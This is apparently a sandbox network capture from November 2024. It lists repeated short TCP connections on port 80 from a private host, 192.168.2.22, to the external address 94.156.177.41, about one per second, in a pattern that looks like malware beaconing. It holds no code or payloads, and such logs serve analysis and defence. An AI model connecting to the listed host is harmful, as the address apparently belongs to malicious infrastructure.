Nov 20, 2024 11:08:32.814811945 CET	49182	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:32.820162058 CET	80	49182	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:33.577142954 CET	80	49182	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:33.577224970 CET	80	49182	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:33.577250957 CET	49182	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:33.577292919 CET	49182	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:33.582195044 CET	80	49182	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:33.707895994 CET	49183	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:33.716399908 CET	80	49183	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:33.716459990 CET	49183	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:33.718036890 CET	49183	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:33.725684881 CET	80	49183	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:33.725738049 CET	49183	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:33.730770111 CET	80	49183	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:34.478512049 CET	80	49183	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:34.478538036 CET	80	49183	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:34.478832006 CET	49183	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:34.478832006 CET	49183	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:34.487728119 CET	80	49183	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:34.610810995 CET	49184	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:34.621398926 CET	80	49184	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:34.621468067 CET	49184	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:34.623150110 CET	49184	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:34.631797075 CET	80	49184	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:34.631910086 CET	49184	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:34.640237093 CET	80	49184	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:35.458312035 CET	80	49184	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:35.458405972 CET	80	49184	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:35.458425045 CET	49184	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:35.458456039 CET	49184	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:35.465753078 CET	80	49184	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:35.592593908 CET	49185	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:35.600970984 CET	80	49185	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:35.601061106 CET	49185	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:35.602694035 CET	49185	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:35.612519979 CET	80	49185	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:35.612588882 CET	49185	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:35.620742083 CET	80	49185	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:36.517483950 CET	80	49185	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:36.517503977 CET	80	49185	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:36.517513037 CET	80	49185	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:36.517608881 CET	49185	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:36.517647028 CET	49185	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:36.527085066 CET	80	49185	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:36.654627085 CET	49186	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:36.659647942 CET	80	49186	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:36.659735918 CET	49186	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:36.661369085 CET	49186	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:36.666235924 CET	80	49186	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:36.666299105 CET	49186	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:36.671251059 CET	80	49186	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:37.408440113 CET	80	49186	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:37.408489943 CET	80	49186	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:37.408603907 CET	49186	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:37.408665895 CET	49186	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:37.416956902 CET	80	49186	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:37.584533930 CET	49187	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:37.591386080 CET	80	49187	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:37.591473103 CET	49187	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:37.593621016 CET	49187	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:37.600326061 CET	80	49187	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:37.600393057 CET	49187	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:37.605334997 CET	80	49187	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:38.490098000 CET	80	49187	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:38.490138054 CET	80	49187	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:38.490185022 CET	49187	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:38.490185022 CET	49187	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:38.495121002 CET	80	49187	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:38.838131905 CET	49188	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:38.846317053 CET	80	49188	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:38.846386909 CET	49188	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:38.847771883 CET	49188	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:38.858000994 CET	80	49188	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:38.858062029 CET	49188	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:38.865154028 CET	80	49188	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:39.674951077 CET	80	49188	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:39.675000906 CET	80	49188	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:39.675087929 CET	49188	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:39.675087929 CET	49188	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:39.680093050 CET	80	49188	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:39.804893017 CET	49189	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:39.810023069 CET	80	49189	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:39.810105085 CET	49189	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:39.811527014 CET	49189	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:39.816407919 CET	80	49189	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:39.816478014 CET	49189	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:39.821403980 CET	80	49189	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:40.550285101 CET	80	49189	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:40.550409079 CET	49189	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:40.550492048 CET	80	49189	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:40.550548077 CET	49189	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:40.555349112 CET	80	49189	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:40.678649902 CET	49190	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:40.684436083 CET	80	49190	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:40.684509039 CET	49190	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:40.686136007 CET	49190	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:40.690992117 CET	80	49190	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:40.691051960 CET	49190	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:40.696070910 CET	80	49190	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:41.450572014 CET	80	49190	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:41.450674057 CET	49190	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:41.450715065 CET	80	49190	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:41.450761080 CET	49190	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:41.459392071 CET	80	49190	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:41.586123943 CET	49191	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:41.591136932 CET	80	49191	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:41.591207027 CET	49191	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:41.592729092 CET	49191	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:41.599946976 CET	80	49191	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:41.600004911 CET	49191	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:41.607233047 CET	80	49191	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:42.331038952 CET	80	49191	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:42.331065893 CET	80	49191	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:42.331130028 CET	49191	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:42.331185102 CET	49191	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:42.336116076 CET	80	49191	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:42.458573103 CET	49192	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:42.463680983 CET	80	49192	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:42.463745117 CET	49192	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:42.465225935 CET	49192	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:42.470153093 CET	80	49192	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:42.470300913 CET	49192	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:42.475334883 CET	80	49192	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:43.375627995 CET	80	49192	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:43.375646114 CET	80	49192	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:43.375730038 CET	49192	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:43.375825882 CET	49192	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:43.380664110 CET	80	49192	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:43.511506081 CET	49193	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:43.516469002 CET	80	49193	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:43.516551971 CET	49193	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:43.518209934 CET	49193	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:43.523014069 CET	80	49193	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:43.523103952 CET	49193	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:43.528126955 CET	80	49193	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:44.416810036 CET	80	49193	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:44.416836977 CET	80	49193	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:44.416986942 CET	49193	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:44.417078018 CET	49193	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:44.421859980 CET	80	49193	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:44.548989058 CET	49194	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:44.553992987 CET	80	49194	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:44.554070950 CET	49194	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:44.555685997 CET	49194	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:44.560498953 CET	80	49194	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:44.560564995 CET	49194	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:44.565418959 CET	80	49194	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:45.294429064 CET	80	49194	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:45.294524908 CET	49194	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:45.294797897 CET	80	49194	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:45.294852972 CET	49194	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:45.302895069 CET	80	49194	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:45.429158926 CET	49195	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:45.434179068 CET	80	49195	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:45.434271097 CET	49195	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:45.435811996 CET	49195	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:45.440762997 CET	80	49195	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:45.440850973 CET	49195	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:45.447248936 CET	80	49195	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:46.174468994 CET	80	49195	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:46.174556971 CET	49195	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:46.174880028 CET	80	49195	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:46.174918890 CET	49195	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:46.182740927 CET	80	49195	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:46.314126968 CET	49196	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:46.319155931 CET	80	49196	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:46.319231987 CET	49196	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:46.321557045 CET	49196	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:46.326402903 CET	80	49196	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:46.326513052 CET	49196	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:46.331377983 CET	80	49196	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:47.202565908 CET	80	49196	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:47.202609062 CET	80	49196	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:47.202696085 CET	49196	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:47.202773094 CET	49196	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:47.207849026 CET	80	49196	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:47.350151062 CET	49197	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:47.355341911 CET	80	49197	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:47.355442047 CET	49197	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:47.357819080 CET	49197	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:47.362837076 CET	80	49197	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:47.362900972 CET	49197	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:47.371009111 CET	80	49197	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:48.276581049 CET	80	49197	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:48.276659966 CET	80	49197	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:48.276690960 CET	80	49197	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:48.276839972 CET	49197	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:48.276927948 CET	49197	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:48.285687923 CET	80	49197	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:48.417485952 CET	49198	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:48.422533035 CET	80	49198	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:48.422607899 CET	49198	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:48.424141884 CET	49198	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:48.429003000 CET	80	49198	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:48.429054976 CET	49198	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:48.437231064 CET	80	49198	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:49.168529034 CET	80	49198	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:49.168632030 CET	49198	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:49.168689966 CET	80	49198	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:49.168771029 CET	49198	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:49.173574924 CET	80	49198	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:49.310122013 CET	49199	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:49.319941044 CET	80	49199	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:49.320003986 CET	49199	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:49.321348906 CET	49199	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:49.330974102 CET	80	49199	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:49.331074953 CET	49199	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:49.340804100 CET	80	49199	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:50.089051008 CET	80	49199	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:50.089148045 CET	80	49199	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:50.089335918 CET	49199	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:50.089380026 CET	49199	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:50.099688053 CET	80	49199	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:50.247147083 CET	49200	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:50.257190943 CET	80	49200	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:50.257328987 CET	49200	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:50.259922028 CET	49200	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:50.269233942 CET	80	49200	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:50.269289017 CET	49200	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:50.274148941 CET	80	49200	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:51.147424936 CET	80	49200	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:51.147665024 CET	49200	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:51.147743940 CET	80	49200	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:51.147806883 CET	49200	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:51.152684927 CET	80	49200	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:51.297350883 CET	49201	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:51.457722902 CET	80	49201	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:51.457798004 CET	49201	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:51.460578918 CET	49201	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:51.465473890 CET	80	49201	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:51.465534925 CET	49201	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:51.474765062 CET	80	49201	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:52.239329100 CET	80	49201	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:52.239357948 CET	80	49201	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:52.239528894 CET	49201	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:52.239573002 CET	49201	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:52.244530916 CET	80	49201	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:52.393512964 CET	49202	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:52.398528099 CET	80	49202	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:52.398632050 CET	49202	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:52.401020050 CET	49202	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:52.406052113 CET	80	49202	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:52.406147957 CET	49202	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:52.411063910 CET	80	49202	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:53.294938087 CET	80	49202	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:53.295075893 CET	49202	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:53.297465086 CET	80	49202	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:53.297552109 CET	49202	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:53.300040007 CET	80	49202	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:53.431896925 CET	49203	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:53.440140009 CET	80	49203	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:53.440243006 CET	49203	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:53.443180084 CET	49203	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:53.449208975 CET	80	49203	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:53.449321985 CET	49203	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:53.455744028 CET	80	49203	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:54.189106941 CET	80	49203	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:54.189409018 CET	49203	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:54.189786911 CET	80	49203	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:54.189847946 CET	49203	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:54.194267988 CET	80	49203	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:54.327678919 CET	49204	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:54.332595110 CET	80	49204	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:54.332663059 CET	49204	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:54.339132071 CET	49204	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:54.343918085 CET	80	49204	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:54.344079018 CET	49204	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:54.349184990 CET	80	49204	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:55.078644037 CET	80	49204	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:55.078665018 CET	80	49204	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:55.078799009 CET	49204	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:55.078829050 CET	49204	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:55.085829973 CET	80	49204	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:55.218322992 CET	49205	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:55.458529949 CET	80	49205	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:55.458615065 CET	49205	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:55.460966110 CET	49205	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:55.469295025 CET	80	49205	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:55.469398022 CET	49205	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:55.476727009 CET	80	49205	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:56.212124109 CET	80	49205	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:56.212209940 CET	80	49205	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:56.212274075 CET	49205	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:56.212274075 CET	49205	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:56.219923973 CET	80	49205	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:56.349189043 CET	49206	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:56.354863882 CET	80	49206	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:56.354937077 CET	49206	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:56.357142925 CET	49206	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:56.364382982 CET	80	49206	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:56.364429951 CET	49206	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:56.372792006 CET	80	49206	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:57.089220047 CET	80	49206	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:57.089267015 CET	80	49206	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:57.089307070 CET	49206	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:57.089343071 CET	49206	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:57.094558001 CET	80	49206	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:57.215898991 CET	49207	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:57.222899914 CET	80	49207	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:57.223335028 CET	49207	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:57.224618912 CET	49207	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:57.229569912 CET	80	49207	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:57.229777098 CET	49207	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:57.234823942 CET	80	49207	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:57.994657040 CET	80	49207	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:57.994709969 CET	80	49207	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:57.994867086 CET	49207	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:57.994867086 CET	49207	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:58.002454996 CET	80	49207	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:58.125185966 CET	49208	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:58.130206108 CET	80	49208	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:58.130290985 CET	49208	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:58.131937981 CET	49208	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:58.136853933 CET	80	49208	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:58.136925936 CET	49208	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:58.143470049 CET	80	49208	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:59.024342060 CET	80	49208	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:59.024424076 CET	80	49208	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:59.024610043 CET	49208	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:59.024646997 CET	49208	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:59.032140970 CET	80	49208	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:59.157805920 CET	49209	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:59.163693905 CET	80	49209	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:59.163830042 CET	49209	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:59.165419102 CET	49209	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:59.170490980 CET	80	49209	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:59.170582056 CET	49209	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:59.177438021 CET	80	49209	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:00.048685074 CET	80	49209	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:00.048815966 CET	49209	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:00.049103022 CET	80	49209	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:00.049150944 CET	49209	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:00.055342913 CET	80	49209	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:00.184766054 CET	49210	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:00.189935923 CET	80	49210	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:00.190038919 CET	49210	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:00.191670895 CET	49210	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:00.196589947 CET	80	49210	94.156.177.41	192.168.2.22
Nov 20, 2024 11:09:00.196734905 CET	49210	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:09:00.201620102 CET	80	49210	94.156.177.41	192.168.2.22
